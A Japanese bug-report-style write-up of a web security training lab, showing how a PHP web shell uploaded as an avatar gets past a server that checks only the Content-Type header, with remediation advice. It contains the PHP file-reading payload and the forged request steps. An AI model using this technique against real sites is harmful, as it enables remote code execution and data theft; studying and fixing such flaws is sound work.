Hello there, ('ω')ノ
🛠 脆弱性報告レポート
タイトル: Web shell upload via Content-Type restriction bypass
✅ 概要(Summary)
アバター画像アップロード機能が Content-Type ヘッダのみに依存して MIME 検証を行っているため、image/jpeg
を偽装した PHP ファイルをアップロードするとサーバ側で実行され、任意コード実行(RCE)が可能。
🔁 再現手順(Steps)
https://<LAB-ID>.web-security-academy.net
に wiener:peter でログイン- 以下の内容で
exploit.php
を作成
<?php echo file_get_contents('/home/carlos/secret'); ?>
- アバター画像として適当な JPEG を一度アップロードし、Burp の POST /my-account/avatar を Repeater へ送信
Repeater で次のように編集して再送信
filename="exploit.php"
Content-Type: image/jpeg
(ヘッダ偽装)
- レスポンスに
Avatar image successfully updated
と表示されることを確認 - 直後に以下のリクエストを送信
GET /files/avatars/exploit.php HTTP/1.1
- レスポンスボディに
/home/carlos/secret
の内容が表示される
📸 結果(Result)
項目 | 値 |
---|---|
アップロード応答 | Avatar image successfully updated |
RCE 成功 | 秘密ファイルの値がレスポンスに出力 |
Content-Disposition: form-data; name="avatar"; filename="exploit.php" -Content-Type: application/x-php +Content-Type: image/jpeg
🧾 期待挙動(Expected)
アップロード時に 拡張子と実ファイルの MIME をサーバ側で検証し、.php
を含む実行形式は拒否すべき。
⚠ 影響度(Impact)
- 任意コード実行により 機密データ窃取・サーバ支配 が可能
- OWASP A05:2021 – Security Misconfiguration
- CWE-434 – Unrestricted File Upload
🛠 修正提案(Optional)
- 拡張子ホワイトリスト(
.jpg
,.png
等)+サーバ側 MIME 検証 (finfo_file()
等) /files/avatars/
を PHP 実行不可 ディレクトリとして設定- アップロードファイルを UUID で再命名し強制
.jpg
付与 - CI にファイルアップロード Fuzz テストを組込み、危険拡張子検知を自動化
Best regards, (^^ゞ